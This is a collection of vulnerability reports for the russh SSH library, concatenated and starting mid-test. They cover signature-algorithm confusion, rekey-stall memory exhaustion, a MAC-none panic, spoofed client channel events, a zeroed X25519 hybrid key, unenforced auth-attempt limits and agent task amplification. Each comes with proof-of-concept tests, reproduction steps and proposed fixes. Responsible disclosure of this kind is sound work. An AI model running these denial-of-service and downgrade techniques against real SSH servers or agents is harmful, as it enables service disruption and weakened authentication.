    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

• Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
• Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
• The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

• russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
• russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
• russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

• the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
• the priority_receiver.recv() arm (session.rs:762),
• the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

1. sends SSH_MSG_KEXINIT (server enters kex.active()),
2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)

• ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
• CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

• (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
• bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
• bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Summary

SshBlockCipher implementations (AES-CBC, AES-CTR, 3DES-CBC, etc.) report needs_mac() == true, meaning they are documented/intended to always be paired with a separate integrity MAC. However, key-exchange negotiation only checks needs_mac() inside the fallback branch of MAC algorithm selection (used when no common MAC algorithm exists). If both peers' preferred MAC lists simply contain none and it is successfully negotiated through the normal selection path, nothing rejects pairing none with a cipher that requires a MAC. Once negotiated, a single crafted packet from either peer causes cipher::read() to shrink an already-allocated buffer below the number of bytes it is about to index, causing a Rust slice-index-out-of-range panic and killing that connection's task.

Details

In russh/src/cipher/mod.rs, read() for a block cipher:

1. Reads packet_length_to_read_for_block_length() bytes up front (16 bytes for any SshBlockCipher) into buffer.buffer.
2. Decrypts the first block to recover the plaintext packet-length field len.
3. Computes buffer.len = len + cipher.tag_len().
4. Calls buffer.buffer.resize(buffer.len + 4, 0).
5. Immediately indexes buffer.buffer[16..] (via the constant used for the first block read) to continue decrypting/reading the rest of the packet.

When the negotiated MAC is none, tag_len() == 0. If the attacker (or a MITM holding the session key, or simply the accepting peer testing a hostile client) sends a packet whose decrypted length field is 0, then buffer.len = 0 and resize(0 + 4, 0) shrinks the buffer that was already grown to 16 bytes in step 1 down to 4 bytes. The subsequent slice operation buffer.buffer[16..] then panics with range start index 16 out of range for slice of length 4.

The file already defines a MINIMUM_PACKET_LEN constant, but it is only consulted on the write/padding side, never on the read path — so nothing prevents an incoming packet from declaring a length shorter than the bytes already buffered.

Negotiation gap: negotiation.rs's Select MAC-selection logic only special-cases needs_mac() when negotiation would otherwise fail (no common MAC), substituting none only if the cipher does not need one. It never re-validates the case where none is a common/successfully-negotiated MAC on both sides regardless of what the chosen cipher requires. So an application (or a malicious peer, since negotiation is attacker-influenced on one side) that includes none in its own preferred MAC list — while still allowing the default CTR/CBC cipher suite — ends up with an invalid, panic-inducing combination that the library itself should refuse.

PoC

1. Configure one side's Preferred config to include mac::NONE in the MAC list (this is a supported, non-default configuration exposed by the crate's public Preferred API — used e.g. for legacy/interop compatibility), while leaving the default cipher list (which includes aes256-ctr/aes256-cbc) untouched.
2. Complete a normal key exchange; negotiation lands on {cipher: aes*-ctr (or -cbc), mac: none} because none is present and preferred/common on both sides, and nothing during negotiation rejects this pairing.
3. From the peer, send one transport packet whose decrypted packet-length field is 0 (trivial to construct once the session keys are known to that peer, or for the peer that legitimately owns the connection to simply hand-craft, e.g. a modified client for testing).
4. cipher::read() on the receiving side panics: range start index 16 out of range for slice of length 4.
5. Because each connection is handled in its own tokio::spawn'ed task (see the per-connection select! loop that calls into cipher::read()), the panic unwinds only that task by default, but it unconditionally terminates that SSH connection/session — a working, currently-unauthenticated, already-established connection is killed with no attacker interaction beyond the one crafted packet, and the check runs on every inbound packet including pre-auth ones.

Impact

Denial of service: a remote peer that can influence MAC preference negotiation (or a MITM in possession of the session key) can crash any individual SSH connection/session that ends up negotiating a block cipher together with mac=none, with a single crafted packet, pre-authentication. This does not affect the process as a whole (panic is scoped to that connection's task under panic=unwind), and does require a non-default configuration that permits none as a preferred MAC — hence Low severity.

Suggested fix

In the MAC-selection logic in negotiation.rs, reject (or force substitution of) mac::NONE whenever the negotiated cipher's needs_mac() is true, regardless of how none came to be selected — not only in the "no common MAC" fallback branch. Defensively, cipher::read() could also refuse to shrink a buffer below the number of bytes already consumed for the length-field block, returning a protocol error instead of resizing blindly.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Summary

CVE-2026-68930 was fixed by adding Session::is_established_channel() in russh/src/server/encrypted.rs, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on enc.channels.get(&channel).is_some_and(|c| c.confirmed) before invoking any Handler callback. The identical validation was never added to the CLIENT side (russh/src/client/encrypted.rs), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.

Details

In client_read_authenticated (russh/src/client/encrypted.rs, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via if let Some(chan) = self.channels.get(&channel_num) { ... } (a no-op if the channel is unknown), but then unconditionally calls the corresponding public Handler trait method (client.data(...), client.exit_status(...), client.channel_close(...), client.channel_success(...), etc.) regardless of whether channel_num corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with Error::Inconsistent if unknown) and CHANNEL_WINDOW_ADJUST (returns early with Ok(()) if unknown) correctly validate channel existence before acting.

Corroborating evidence this check was intended but never wired up: crate::Error defines a dedicated WrongChannel variant documented as "Message received/sent on unopened channel" (russh/src/lib_inner.rs, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.

Because Session::new_channel_id() (russh/src/session.rs, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.

PoC

Many real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the client::Handler trait directly and key their own state (e.g. HashMap<ChannelId, CommandState>, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like "The remote process has exited" (exit_status) or "Called when the server closes a channel" (channel_close) only fire for a channel the application itself opened.

A malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send SSH_MSG_CHANNEL_REQUEST (exit-status/exit-signal), SSH_MSG_CHANNEL_DATA, SSH_MSG_CHANNEL_CLOSE, SSH_MSG_CHANNEL_SUCCESS/FAILURE, or SSH_MSG_CHANNEL_OPEN_FAILURE for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the Handler callback unconditionally, this reaches application code with an ID it never registered.

Impact

(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by ChannelId without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature channel_close before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.

Suggested fix: add the same is_established_channel()-style gate already used in server/encrypted.rs to client/encrypted.rs's client_read_authenticated, checking self.channels.get(&channel_num) before invoking any Handler callback (not just the mpsc forward), for every channel-scoped message type.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Vulnerability

The hybrid ML-KEM 768 + X25519 key exchange implementation in russh/src/kex/hybrid_mlkem.rs does not validate that the remote peer's X25519 public key is not the zero point (all-zero 32-byte value). This allows a remote peer to force the X25519 contribution to the combined shared secret to zero, reducing the hybrid KEX to a single-algorithm exchange.

Affected code at HEAD (v0.62.4, commit 0089c89):

Server-side (server_dh, lines 92-93):

let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = s_secret * c_pk1;

Client-side (compute_shared_secret, lines 154-155):

let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = x25519_secret * s_pk1;

Root Cause

Commit a7fc1eb (2026-07-22, "fix mpint encoding and validate curve25519 keys") added zero-point validation to the standalone Curve25519 KEX in russh/src/kex/curve25519.rs at two locations:

• server_dh line 77: if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }
• compute_shared_secret line 122: if remote_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

The same X25519 scalar multiplication pattern appears in hybrid_mlkem.rs, but the fix was not applied there.

Proof of Concept

A malicious SSH client negotiating mlkem768x25519-sha256 can send a KEX_HYBRID_INIT message containing a valid ML-KEM 768 encapsulation key followed by 32 zero bytes as the X25519 component.

When the server computes k_cl = s_secret * c_pk1, the result is the zero point regardless of the server's secret scalar. The combined shared secret K = SHA-256(k_pq || k_cl) then depends only on the ML-KEM component. The same attack works in reverse against a client connecting to a malicious server.

The zero X25519 public key passes all existing validation (the length check on line 78 succeeds since 32 bytes is correct). No panic or crash occurs - the exchange completes successfully with a weakened shared secret.

Impact

The purpose of hybrid key exchange is defense-in-depth: if either the classical algorithm (X25519) or the post-quantum algorithm (ML-KEM 768) is broken, the combined secret remains secure. By injecting a zero X25519 public key, an attacker eliminates the classical contribution entirely, reducing security to depend solely on ML-KEM.

This matters in two scenarios:

1. If ML-KEM 768 is later found to have a weakness (the explicit threat model hybrid KEX is designed to mitigate), sessions where the X25519 component was zeroed out lose their fallback protection.
2. An active network attacker who can intercept KEX could downgrade the hybrid exchange to effectively single-algorithm security without either peer detecting it.

The severity is MEDIUM rather than HIGH because the ML-KEM component still provides strong security today, and an active attacker who can modify KEX messages can already perform other attacks unless strict KEX is negotiated.

Suggested Fix

Add zero-point checks in hybrid_mlkem.rs matching the ones in curve25519.rs:

// In server_dh, after line 93:
let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
if c_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

// In compute_shared_secret, after line 155:
let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
if s_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

Ideally, also validate against the other small-subgroup points on Curve25519 (there are a small number of low-order points that also yield a zero shared secret), matching the comprehensive validation OpenSSH performs.

AI tooling

AI assistancewas used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Details

Affected versions and vulnerable location

• Confirmed present on default branch main at HEAD 0089c89c94753bebbec12b956c07a1cd38740379.
• Crate version at HEAD: 0.62.4.
• Vulnerable locations on current default branch:
  • russh/src/server/mod.rs:91 (pub max_auth_attempts: usize)
  • russh/src/server/mod.rs:121 (default max_auth_attempts: 10)
  • russh/src/server/encrypted.rs:89 (USERAUTH_REQUEST dispatch into auth handler path)
  • russh/src/server/encrypted.rs:98 (self.common.auth_attempts += 1)
  • russh/src/server/encrypted.rs:53 (only runtime read of auth_attempts, used for initial reject timing, not attempt limiting)
• Default-branch history check did not show a newer merged commit adding enforcement against config.max_auth_attempts.

Reachability trace verified

1. Entry point: exported server API server::run_stream in russh/src/server/mod.rs:1049.
2. Session run loop in russh/src/server/session.rs processes incoming packets and calls reply(...) (server/session.rs:725).
3. reply forwards encrypted packets to session.server_read_encrypted(...) (server/mod.rs:1221).
4. server_read_encrypted routes USERAUTH_REQUEST to enc.server_read_auth_request(...) (server/encrypted.rs:89).
5. On each request, self.common.auth_attempts += 1 executes (server/encrypted.rs:98).
6. No comparison against self.common.config.max_auth_attempts is present in this runtime flow.

PoC

Reproduction steps and observed output

I did not run a full server process in this environment because Rust tooling is unavailable. I verified the issue from source and command output on the audited tree.

1. Show where max_auth_attempts appears:

rtk rg -n "max_auth_attempts" .scratch/russh/russh/src/server/mod.rs .scratch/russh/russh/src/server/encrypted.rs .scratch/russh/russh/src/server/session.rs

Observed:

.scratch/russh/russh/src/server/mod.rs:91:    pub max_auth_attempts: usize,
.scratch/russh/russh/src/server/mod.rs:121:            max_auth_attempts: 10,
.scratch/russh/russh/src/server/mod.rs:148:            .field("max_auth_attempts", &self.max_auth_attempts)

2. Show runtime auth-attempt handling:

rtk rg -n "auth_attempts == 0|auth_attempts \\+= 1" .scratch/russh/russh/src/server/encrypted.rs

Observed:

53:        let initial_none_rejection_wait_until = if self.common.auth_attempts == 0 {
98:                self.common.auth_attempts += 1;

3. Show production entrypoint-to-auth path references:

rtk rg -n "pub async fn run_stream|match reply\\(|server_read_encrypted\\(|server_read_auth_request\\(" .scratch/russh/russh/src/server/mod.rs .scratch/russh/russh/src/server/session.rs .scratch/russh/russh/src/server/encrypted.rs

Observed:

.scratch/russh/russh/src/server/encrypted.rs:89:                enc.server_read_auth_request(
.scratch/russh/russh/src/server/session.rs:725:                            match reply(&mut self, &mut handler, &mut pkt).await {
.scratch/russh/russh/src/server/mod.rs:1049:pub async fn run_stream<H, R>(
.scratch/russh/russh/src/server/mod.rs:1221:    session.server_read_encrypted(handler, pkt).await

4. Toolchain check:

cargo --version

Observed:

/bin/bash: line 1: cargo: command not found

Impact

Attacker model

• Attacker: unauthenticated remote client with TCP reachability to a russh-backed SSH service.
• Preconditions: deployer expects server::Config.max_auth_attempts to cap attempts.
• Impact: repeated USERAUTH_REQUEST attempts continue for a single connection beyond configured limit, increasing online guessing opportunity and backend auth workload.

Suggested fix

Enforce max_auth_attempts in the USERAUTH_REQUEST branch before invoking auth-method handlers, and fail closed once threshold is reached.

Concrete patch direction in russh/src/server/encrypted.rs:

if self.common.config.max_auth_attempts > 0
    && self.common.auth_attempts >= self.common.config.max_auth_attempts
{
    self.common.disconnect(
        Disconnect::NoMoreAuthMethodsAvailable,
        "Too many authentication attempts",
        "",
    )?;
    return Ok(());
}

How it was found and a note on tooling

The researcher synthesized three lens outputs, then revalidated each claim against current main: source presence and commit history, advisory overlap checks in both GitHub advisories and OSV, entrypoint-to-sink reachability, attacker-model realism, and execution-claim integrity. The researcher used gh, git, rg, and direct source inspection under .scratch/russh. Because Rust tooling is unavailable in this worker, this report is intentionally marked source-only.

AI assistance was used while investigating this and while drafting this report. The finding was verified by reading the cited code at HEAD. The vulnerability was not executed it, and that limit is stated plainly above rather than left implied.

Credits: arpitjain099.

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
